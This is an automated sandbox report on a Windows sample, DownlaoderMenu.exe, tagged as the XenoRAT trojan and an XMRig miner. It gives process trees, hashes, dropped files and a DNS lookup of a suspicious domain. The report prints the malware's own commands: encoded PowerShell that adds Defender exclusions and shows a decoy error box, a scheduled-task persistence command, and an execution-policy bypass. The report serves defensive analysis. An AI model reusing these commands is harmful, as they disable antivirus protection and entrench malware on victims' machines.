Malware Analysis Report

2024-08-06 18:12

Sample ID 240704-vnqveasckf
Target DownlaoderMenu.exe
SHA256 b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10
Tags
xenorat execution rat trojan xmrig evasion miner persistence upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10

Threat Level: Known bad

The file DownlaoderMenu.exe was found to be: Known bad.

Malicious Activity Summary

xenorat execution rat trojan xmrig evasion miner persistence upx

XenorRat

xmrig

XMRig Miner payload

Stops running service(s)

Command and Scripting Interpreter: PowerShell

Drops file in Drivers directory

Checks computer location settings

UPX packed file

Executes dropped EXE

Loads dropped DLL

Drops startup file

Power Settings

Suspicious use of SetThreadContext

Drops file in System32 directory

Launches sc.exe

Drops file in Windows directory

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

Unsigned PE

Scheduled Task/Job: Scheduled Task

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix

N/A

Analysis: static1

Detonation Overview

Reported

2024-07-04 17:08

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-04 17:08

Reported

2024-07-04 17:12

Platform

win7-20240419-en

Max time kernel

149s

Max time network

120s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe"

Signatures

XenorRat

trojan rat xenorat

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Downloader_Menu_2.1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\risk.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe N/A
N/A N/A C:\Users\Admin\cvtres.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\risk.exe N/A
N/A N/A C:\Windows\Downloader_Menu_2.1.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1312 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2488 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2096 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1312 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2644 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 1312 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 1312 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 1312 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 1312 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 2744 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2744 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2744 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2744 wrote to memory of 2584 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2644 wrote to memory of 1448 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2644 wrote to memory of 1448 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2644 wrote to memory of 1448 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2644 wrote to memory of 1448 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2584 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2584 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2584 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2584 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 1448 wrote to memory of 548 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1448 wrote to memory of 548 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1448 wrote to memory of 548 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe

"C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZgBiACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGgAcwBjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBpAG4AZABvAHcAcwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAZQBuAGMAbwB1AG4AdABlAHIAZQBkACAAYQBuACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGUAcgByAG8AcgAuACAAVgBlAHIAaQBmAHkAIAB0AGgAYQB0ACAAdABoAGUAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHMAbwB1AHIAYwBlAHMAIABhAHIAZQAgAGEAYwBjAGUAcwBpAGIAbABlACwAIABhAG4AZAAgAHIAZQBzAHQAYQByAHQAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAZABtACMAPgA="

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAawByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAcABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBnACMAPgA="

C:\Windows\Downloader_Menu_2.1.exe

"C:\Windows\Downloader_Menu_2.1.exe"

C:\Users\Admin\AppData\Roaming\risk.exe

"C:\Users\Admin\AppData\Roaming\risk.exe"

C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe

"C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"

C:\Users\Admin\cvtres.exe

C:\Users\Admin\cvtres.exe

C:\Windows\SysWOW64\schtasks.exe

"schtasks.exe" /Create /TN "Windows" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2433.tmp" /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\temp_.ps1"

Network

Country Destination Domain Proto
US 8.8.8.8:53 hax.onthewifi.com udp

Files

C:\Windows\Downloader_Menu_2.1.exe

MD5 9d3195f106a540570da0d038bc07cf68
SHA1 33c1dd7a4101d1622b4d9268da0b731e00ddca39
SHA256 240b3b43f49f5430d9d2e263e857d6e4c9c98af09fe8ae7d9c0e6b7c9eeacfce
SHA512 9c7b0da3e2a01a05f61e39648d31851c5b0d70d7f20d865792cf4c8cec39ad764b2f11833116dbcdea57f3ec1785345921defbd656eab4fc23095b63ba889f69

C:\Users\Admin\AppData\Roaming\risk.exe

MD5 2cb05f0d4360327b33956fedf516c6fe
SHA1 4562653b1361ce66ded9633e5883d00184c08796
SHA256 af82f7a1ca358d54f5da73409d05360c265f7569fb768218051c7ef2620e66e6
SHA512 f0967245d1693d74d146356c9540a9ae0b848a96a6e58eacc111a951a6b32e01f325f8848b2b0c66b38dbfcdcb37e052ccfc27cf9b3b6752f3cba876181f6fa6

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 289c368f56157adde3d7faadd51e1399
SHA1 ac24079cbc363b62621829f3edd6dda88ea3b165
SHA256 6dd83cf32503854c8ea75c983e1f052831e46838968a474e9e26efcf5e6f1803
SHA512 18796deb04cd0ca3296693e100304a8b7117cb77b863f31aa6ccedb12bdb3253355e39b3d4db616b61afe41b479c1625fc4e5f4abf98a5d172d86cee4885a584

memory/2744-20-0x00000000000C0000-0x00000000000D2000-memory.dmp

memory/2584-28-0x0000000000BE0000-0x0000000000BF2000-memory.dmp

\Users\Admin\cvtres.exe

MD5 c9698a20e68954387eed40d36d17c087
SHA1 c50cf0ac1cbf51a89b6c1b816e5e63e7e7287179
SHA256 3a71a978827979baeec7b94607e93a72cf2a51a7204a572f68a3788d83b87d8f
SHA512 f8099e4e6bf6e1cd850faa398b3ef8862852342bef0ec8a7318495be6e82ddf903834b951faa6c5bbd0879414dcaccf3fec6ade4ef74054e08011d718ed1e813

memory/1448-36-0x0000000000DC0000-0x0000000000DC8000-memory.dmp

C:\Users\Admin\temp.bat

MD5 96b7afe999094957a1ce5b1c0ee0cb2f
SHA1 6b5d48b5f75246993de0263d27d2b9cdcc6ebf3f
SHA256 d22cb88bfae5285d86cb35c2acba863f85b2e63c241c1959d15ca3416bcb5e4a
SHA512 ed7e02b26664b442f95fdf83af03d7773c017dadf3bec8c2d37cc2b30c49b6751a3104b85f00cfedbd145f422635e5b3ad49ea80adf7c0a92b06db474c6a238c

C:\Users\Admin\temp.ps1

MD5 5e817bbd9ef2f8821aa0283b20a51923
SHA1 102ca518d89653fb400636e660fa3fc276235c5c
SHA256 27f2822ca2be992ebb6e1000aa3a2c39e9b4ff7e257cb45eadda8776d65018a7
SHA512 f21388e0655e6733abc70ff9fe2bbfdca00d81d2e7a09236d679293df34a966990f689f2d62119cdd877c7aeda35ab0c2b3c66108bc6b721e5dea34a93342d2e

C:\Users\Admin\AppData\Local\Temp\tmp2433.tmp

MD5 c824a7486b8af655d347fd367022d0d2
SHA1 17bb7f077818e6d5ecb3be0fc681d341b82dd72b
SHA256 025ef7965c1b7643ff8d71a48c71d62ce4380e3ac6324ecf51f80717a4d61c14
SHA512 a026982ac700263bf2dfd5415365dbe52b0e59095adfd00c937af28f5c84978faf65aeb2cd2c7c9dc5c7b38dc82dc2acc2d7b91e96026e73a881483168586bc1

memory/548-47-0x000000001B830000-0x000000001BB12000-memory.dmp

memory/548-48-0x0000000001F40000-0x0000000001F48000-memory.dmp

C:\Users\Admin\temp_.ps1

MD5 5a0a8376c0e45cc25d4050920cee3dcc
SHA1 2de4ddf90f3165b245bd9f77c145c8f770c98b85
SHA256 86af1b7845145745ccaf65bf0dbeb1a981701ad0c6793c2dc93c0c2f2aef8d25
SHA512 f5afd39336d6b9f0590d68a716e8c3b403c13b98aae34d76f43e34698d2c6485e3dbce7a6439623362effec50ab0b2696b1ed25e377ba4dae75047ef419f51c0

C:\Users\Admin\temp_.bat

MD5 ff46d6b0970c55dba491b6dd06384f84
SHA1 c8be08575f2174a9a00bff33e3b1a7c1d9c4a025
SHA256 a5ad5faab69350449e8fd14adcb262ecb289696d5f0da374891e9eb226824c85
SHA512 b0d5b4eb5d9b58f35f218dffb43956716adb062626a75fcde11ba517e9d16d015f8a0d90ae72fbad47c87cbec86ef3e6a16347900f0c0be97e47f6d58bdac3a6

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-04 17:08

Reported

2024-07-04 17:11

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

152s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe"

Signatures

XenorRat

trojan rat xenorat

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\system32\drivers\etc\hosts C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A

Stops running service(s)

evasion execution

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\risk.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cvtres.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Windows\Downloader_Menu_2.1.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\risk.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe N/A
N/A N/A C:\Users\Admin\cvtres.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Power Settings

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\powercfg.exe N/A
N/A N/A C:\Windows\system32\powercfg.exe N/A
N/A N/A C:\Windows\system32\powercfg.exe N/A
N/A N/A C:\Windows\system32\powercfg.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\MRT.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1660 set thread context of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 4340 set thread context of 4944 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe C:\Windows\explorer.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A
N/A N/A C:\Windows\explorer.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\explorer.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5060 wrote to memory of 3744 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5060 wrote to memory of 3744 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5060 wrote to memory of 3744 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5060 wrote to memory of 1076 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5060 wrote to memory of 1076 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5060 wrote to memory of 1076 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5060 wrote to memory of 2492 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 5060 wrote to memory of 2492 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 5060 wrote to memory of 2492 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Windows\Downloader_Menu_2.1.exe
PID 5060 wrote to memory of 3508 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 5060 wrote to memory of 3508 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 5060 wrote to memory of 3508 N/A C:\Users\Admin\AppData\Local\Temp\DownlaoderMenu.exe C:\Users\Admin\AppData\Roaming\risk.exe
PID 3508 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 3508 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 3508 wrote to memory of 2608 N/A C:\Users\Admin\AppData\Roaming\risk.exe C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
PID 2492 wrote to memory of 5068 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2492 wrote to memory of 5068 N/A C:\Windows\Downloader_Menu_2.1.exe C:\Users\Admin\cvtres.exe
PID 2608 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2608 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 2608 wrote to memory of 3724 N/A C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe C:\Windows\SysWOW64\schtasks.exe
PID 5068 wrote to memory of 1660 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5068 wrote to memory of 1660 N/A C:\Users\Admin\cvtres.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
PID 1660 wrote to memory of 4340 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
